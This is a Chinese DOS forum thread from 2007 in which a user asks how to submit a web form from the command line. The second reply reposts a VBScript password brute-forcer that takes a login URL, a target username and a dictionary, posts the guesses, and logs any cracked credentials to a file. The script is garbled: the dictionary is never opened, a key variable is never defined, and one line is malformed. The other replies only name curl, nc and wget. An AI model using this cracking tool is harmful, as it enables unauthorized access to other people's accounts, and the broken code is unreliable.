中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 求教:怎样在命令行中实现信息提交
作者:
标题: 求教:怎样在命令行中实现信息提交 上一主题 | 下一主题
Gameover
初级用户





积分 25
发帖 9
注册 2007-3-4
状态 离线
『楼 主』:  求教:怎样在命令行中实现信息提交

请问怎样DOS中用命令行实现注册信息的提交,

例如:实现网页中的以下功能
<FORM method=post action="http://www.xxxx/000.jsp" >
用户名:
<INPUT type="text" name="user" maxLength="24">
<INPUTtype=submit value="提交" name="action">
</FORM>

2007-3-24 20:34
查看资料  发短消息 网志   编辑帖子  回复  引用回复
everest79
金牌会员

一叶枝头,万树皆春



积分 2564
发帖 1127
注册 2006-12-25
状态 离线
『第 2 楼』:  

以下是转的
set outstreem=wscript.stdout
set instreem=wscript.stdin
set http=createobject("Microsoft.XMLHTTP")
set fso=createobject("scripting.filesystemobject")
set shell=createobject("wscript.shell")

if lcase(right(wscript.fullname,11))="wscript.exe" then
shell.run("cmd.exe /k echo off&cls&cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))
wscript.quit
end if       '这里的目的是用cscript.exe来执行脚本

wscript.echo string(79,"*")
wscript.echo "%C4%E3"
wscript.echo "   by 千寂孤城   E-mail:love_smj@sina.com"
wscript.echo ""
wscript.echo string(79,"*")
wscript.echo "若要破解的用户名是汉字,请使用IE将其转换为16进制!!"

outstreem.write "登陆页面的路径是:"   
webpath=instreem.readline       '取得"http://xxxxx/login.asp"一类的登陆路径

outstreem.write "要破解的用户名:"
name=instreem.readline       '这里注意,用户名如果是汉字必须用ie转换成16进制。比如说如果用户名是“一二”,就要输入:%B0%A1%B0%A1

outstreem.write name&
xname=instreem.readline

set result=fso.opentextfile("c:\result.log",8,true)
result.writeline "user:"&name&"   pass:"&pwd
result.close

outstreem.write "表单中用于输入用户名的文本框名字:"   
bdname=instreem.readline

outstreem.write "表单中用于输入密码的密码框名字:"   
bdpass=instreem.readline

outstreem.write "字典在哪里:"
path=instreem.readline       '没有字典的话直接按回车,程序会自己生成字典。









do   '开始破解
if zidian.atendofstream=true then
wscript.echo "Sorry,the pwd is beyond "&path&"."
wscript.quit
end if
pwd=zidian.readline
http.open "POST",webpath,false
http.setrequestheader "Content-Type","application/x-www-form-urlencoded"
http.send bdname& "=" &name& "&" &bdpass& "=" &pwd
if len(Http.responsebody)<falselen-50 or len(Http.responsebody)>falselen+50 then
exit do
end if
'如果返回的数据长度和falselen相差太大就说明密码正确了。
wscript.echo "trying:"&pwd
loop
zidian.close
wscript.echo "Good Luck!!"
wscript.echo "password is "&pwd
wscript.echo "the log file is 'c:\result.log'"
set result=fso.opentextfile("c:\result.log",8,true)
result.writeline "user:"&name&"   pass:"&pwd
result.close


2007-3-24 23:14
查看资料  发短消息 网志   编辑帖子  回复  引用回复
vkill
金牌会员





积分 4103
发帖 1744
注册 2006-1-20
来自 甘肃.临泽
状态 离线
『第 3 楼』:  

curl

2007-3-24 23:42
查看资料  发送邮件  访问主页  发短消息 网志   编辑帖子  回复  引用回复
Michael
钻石会员





积分 10046
发帖 3039
注册 2002-11-11
状态 离线
『第 4 楼』:  

nc



简单就是美
2007-3-29 07:35
查看资料  发短消息 网志   编辑帖子  回复  引用回复
stcell
初级用户




积分 161
发帖 51
注册 2006-4-4
状态 离线
『第 5 楼』:  

http://www.xxxx/000.jsp?user=abc
在哪里都这样用!

是在纯DOS中吗?
WGET http://www.xxxx/000.jsp?user=abc



DOS.NET
有网络,就有可能。
2007-3-29 08:23
查看资料  发送邮件  访问主页  发短消息 网志  OICQ (113024087)  编辑帖子  回复  引用回复
Gameover
初级用户





积分 25
发帖 9
注册 2007-3-4
状态 离线
『第 6 楼』:  

谢谢!试一下

2007-3-29 09:33
查看资料  发短消息 网志   编辑帖子  回复  引用回复
Gameover
初级用户





积分 25
发帖 9
注册 2007-3-4
状态 离线
『第 7 楼』:  

是在xp带的dos中,能具体举个例子吗?

2007-3-29 09:47
查看资料  发短消息 网志   编辑帖子  回复  引用回复

请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: